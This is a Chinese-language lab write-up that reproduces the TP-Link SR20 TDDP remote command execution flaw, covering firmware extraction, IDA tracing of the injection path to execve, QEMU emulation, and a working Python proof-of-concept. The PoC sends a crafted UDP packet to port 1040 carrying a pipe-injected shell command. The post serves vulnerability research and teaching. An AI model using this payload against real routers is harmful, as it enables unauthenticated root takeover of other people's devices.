TP-Link-sr20远程命令执行

漏洞复现

Posted by X1ng on October 18, 2020

最近看到合天网安实验室上线的TP-Link sr20本地网络远程命令执行漏洞复现的实验,就跟着实验指导书跑了一下,就顺便在自己的虚拟机上搭环境复现一遍,水一篇笔记好了(搭环境真是太折磨人了or2

实验在ubuntu18.04下完成

tddp协议

tddp协议是一个TP-Link申请过专利的调试协议基于udp协议,有v1,v2两个版本,可以从从官网下载存在漏洞的v1-180518版本固件”SR20(US)_V1_180518.zip”

TP-Link SR20 设备运行了 V1 版本的 TDDP 协议,V1 版本无需认证,只需往 SR20 设备的 UDP 1040 端口发送数据,且数据的第二字节为 0x31 时,SR20 设备会连接发送该请求设备的 TFTP 服务下载相应的文件并使用 LUA 解释器以 root 权限来执行,这就导致存在远程代码执行漏洞

环境准备

qemu

可以使用apt install qemu 直接安装

或者从官网下载最新版

wget https://download.qemu.org/qemu-3.1.0.tar.xz # 下载源码
tar xvJf qemu-3.1.0.tar.xz #解压源码压缩包
cd qemu-3.1.0 # 进入源码目录
./configure --target-list=arm-softmmu --audio-drv-list=
# 编译前配置,只编译ARM版的QEMU来加快编译速度
make 

下载时出现了错误

ERROR: pixman >= 0.21.8 not present.
$apt-cache search pixman
libpixman-1-0 - pixel-manipulation library for X and cairo
libpixman-1-dev - pixel-manipulation library for X and cairo (development files)
$apt-get install libpixman-1-dev

安装pixman解决

编译完成后安装 checkinstall 来生成 deb 包

sudo apt-get install checkinstall # 安装 checkinstall
sudo checkinstall make install    # 使用 checkinstall 生成 deb 包并安装

如果不使用 checkinstall,直接sudo make install的会把 qemu 安装在多个位置,如果发生错误不方便删除,所以使用 checkinstall 生成 deb 包方便安装和卸载。

binwalk

sudo apt install git
git clone https://github.com/ReFirmLabs/binwalk
cd binwalk
python setup.py install
sudo ./deps.sh # Debian/Ubuntu 系统用户可以直接使用 deps.sh 脚本安装所有的依赖

PS: 本人在最后一步运行deps.sh安装依赖的时 cramfstools 编译出错导致安装失败,如果你也遇到这个问题,不必理会,因为针对本文讲述的漏洞,这个包并不需要安装

我也遇到了cramfs-tools安装失败的问题,但是既然不影响,就不管它

nmap

apt-get install nmap

poc.py

这里还是使用合天网安的poc

from pwn import *
from socket import *
import sys

tddp_port = 1040
recv_port = 12345
ip = sys.argv[1]
command = sys.argv[2]

s_send = socket(AF_INET,SOCK_DGRAM,0)
s_recv = socket(AF_INET,SOCK_DGRAM,0)

s_recv.bind(('',12345))

payload = '\x01\x31'.ljust(12,'\x00')
payload += "123|%s&&echo ;123"%(command)

s_send.sendto(payload,(ip,tddp_port))
s_send.close()

res,addr = s_recv.recvfrom(1024)
print res

实验

获取文件

将固件解压

unzip 'SR20(us)_v1_180518.zip'

使用binwalk提取固件中的文件系统

binwalk -Me tpra_sr20v1_us-up-ver1-2-1-P522_20180518-rel77140_2018-05-21_08.42.04.bin

提取出来的squashfs-root就是固件的文件系统

进入文件系统中使用find命令查找存在漏洞的tddp文件

find ./ -name tddp

file命令查看tddp文件类型

file ./usr/bin/tddp

可以看到这是arm架构32位小端elf文件

ida分析文件

将tddp文件放在ida中分析,打开字符串窗口

查找关键字符串”cmd”

双击跳转查看交叉引用列表一遍可以发现.rodata:00019398 0000001F C [%s():%d] TDDPv2: Special cmd\n之后的字符串都被同一个函数调用

随便双击跳转到一个字符串,按x查看交叉引用函数

点击”OK”跳转到引用字符串的函数

f5查看伪代码,进入函数sub_15e74

漏洞点在函数sub_9c24中,在switch的case 0xa分支

进入sub_9c24

继续跟进sub_91dc

  1. 我们知道32位系统的函数调用是将参数从右往左压栈,而栈是从高地址往低地址增长,所以在栈上保存参数的最低地址处保存的就是第一个参数,也就是图中的a1,而void va_start(va_list ap, last_arg)函数可以将last_arg用于初始化va_list类型变量ap,让它指向可变参数表里面的第一个参数,利用最后一个入栈的参数的指针来获取其余的参数,这种传参办法再printf、scanf、等函数中经常见到
  2. int vsprintf(char *str, const char *format, va_list arg)则将a1中的内容经过arg附加参数中指定的值替换,并按需求进行格式化,保存到str中
  3. fork函数会创建一个子进程,在子进程中会返回0,而在父进程中则返回子进程的ID,所以这里用来判断子进程还是父进程从而执行不同的操作

在子进程这里有个execve系统调用,双击argv查看栈空间

可以看到v4,v5,v6都在argv的高地址处

而这里的v4

其实是作为字符串”-c”的地址

相当于实现下面这个小demo的系统调用,即以s字符串为路径运行一个新的进程

#include<unistd.h>

int main(void){
  char *s;
  char *envp[]={0,NULL};
  char *argv[]={"sh","-c"s, NULL};
  execve("/bin/sh",argv,envp);
	return 0;
}

fork + execve 也是一般实现执行新进程的方式

而这里的s是经过处理以后的sub_91dc函数的第一个参数a1,也就是说只要我们能控制a1,就能实现命令执行

但是这里sub_91dc函数的a1参数是固定的

查看sub_91dc函数的交叉引用列表

有一个sub_a580函数,发现sub_a580函数也在sub_15E74函数的swtch的case 0x31分支中被调用

进入sub_a580函数,可以看到在调用sub_91dc之前,调用了一个sscanf函数

int sscanf(const char *buffer,const char*format,[argument ]...);函数用于从buffer中检索数据,依照format的格式将数据写入到argument里,也就是字符串v21经过检索后将字符串保存到字符串s中,后面又将s按”%s”格式接入”cd……“字符串中作为第一个参数调用sub_91dc

这里用正则表达式过滤了’;’,关于正则表达式的知识可以看这里

往前找v21是怎么来的

在第31行看到,v21是v10的地址往后45083字节,而在第23行看到v10就是sub_a580函数的参数a1

回到sub_15e74函数,可以看到sub_a580函数的参数是v8,而v8就是sub_15e74函数的参数a1

查看sub_15e74函数的交叉引用列表

跳转到sub_16418,可以看到sub_15e74函数第一个参数是v16

而在34行,recvfrom函数中使用了v16

ssize_t recvfrom(int sockfd,void *buf,size_t len,unsigned int flags, struct sockaddr *from,socket_t *fromlen);

recvfrom()用来接收远程主机经指定的socket传来的数据,并把数据传到由参数buf指向的内存空间,参数len为可接收数据的最大长度.参数flags一般设0,其他数值定义参考recv().参数from用来指定欲传送的网络地址,结构sockaddr请参考bind()函数.参数fromlen为sockaddr的结构长度.

对应着32行代码,可知v14+45083就是原型中的buf,用于接收socket传来的数据。那么就定位到源头了,既然是从socket接收的,那么就是我们可控的。

而这里调用的recvfrom函数中,buf参数就是v14+45083,也就是说接收到的数据储存在v14+45083地址处

现在的函数调用关系是

sub_16418->sub_15e74->sub_a580->sub_91dc

每个函数的第一个参数a1都是上一个函数的第一个参数a1,直到sub_16418函数中的v16

而在sub_15e74函数中的swtch条件变量是a1[45084]

而在sub_A580函数中的v21和v15都是v10+45083

也就是说,如果构造payload前两个字节是”\0x1\0x31”,就可以只让v21指针后移12位,再被sscanf函数检索、再作为后面sub_91DC函数的参数

所以只要在payload中再填充12位的字符

payload = '\x01\x31'.ljust(12,'\x00')

然后就是我们要注入的代码

payload += "123|%s&&echo ;123"%(command)

就可以执行command变量中的命令

上图中需要注意分号;之后还需要填充字符,因为在使用sscanf函数进行分割后会判断分号后面的内容是否为空

qemu模拟实验环境

debian官网下载模拟时需要用到的Debian ARM 系统的三个文件

vmlinuz-3.2.0-4-vexpress           2013-09-20 18:33  1.9M 
debian_wheezy_armhf_standard.qcow2 2013-12-17 00:04  229M 
initrd.img-3.2.0-4-vexpress        2013-12-17 01:57  2.2M

把三个文件放在同一个目录下

使用tunctl命令添加一个虚拟网卡,用于与虚拟机通信

apt install uml-utilities
tunctl -t tap1 -u root

使用ifconfig命令为添加的网卡配置IP地址

apt install net-tools
ifconfig tap1 10.10.20.1/24

启动qemu

qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2 console=ttyAMA0" -net nic -net tap,ifname=tap1,script=no,downscript=no -nographic

用户名/密码 = root/root

进入虚拟机

查看ip地址

可以看到还没有分配ip地址,debian系统里手动分配ip地址

ifconfig eth0 10.10.20.2/24

此时debian系统里什么也没有,打开一个shell,用scp命令将文件系统上传到debian系统

scp -r /root/Desktop/router/tplinksr20/_tpra_sr20v1_us-up-ver1-2-1-P522_20180518-rel77140_2018-05-21_08.42.04.bin.extracted/squashfs-root root@10.10.20.2:/root/

可以在debian系统看到上传成功了

使用chroot切换根目录固件文件系统

这里注意,使用 chroot后,系统读取的是新根下的目录和文件,也就是固件的目录和文件。

chroot 默认不会切换 /dev 和 /proc, 因此切换根目录前需要先挂载这两个目录

mount -o bind /dev ./squashfs-root/dev/
mount -t proc /proc/ ./squashfs-root/proc/
chroot ./squashfs-root/ sh

这样就切换根目录为文件系统的根目录了

debian系统里输入tddp启动服务

tddp

在ubuntu用nmap 10.10.20.2命令扫描debian系统并不能扫到tddp对应的1040端口,可以用下面的命令

nmap -p 1040 -sU 10.10.20.2

可以看到1040端口是打开的

运行poc.py,后面分别是debian的ip以及要执行的命令,但是执行后回显是在debian上的

python poc.py 10.10.20.2 date

在debian上可以看到命令执行后的效果

可以通过nc将结果回显在本地

再打开一个shell,nc -nvl 10.10.20.1 6666监听6666端口,debian系统重新打开tddp

执行poc脚本

回显到监听窗口,成功复现

查找资料的过程中发现还有一种利用lua的思路,但是太菜没学过web,就没仔细研究

参考资料:

合天网安实验室

seebug 重现 TP-Link SR20 本地网络远程代码执行漏洞

对TP-Link SR20 tddp协议漏洞的详细逆向研究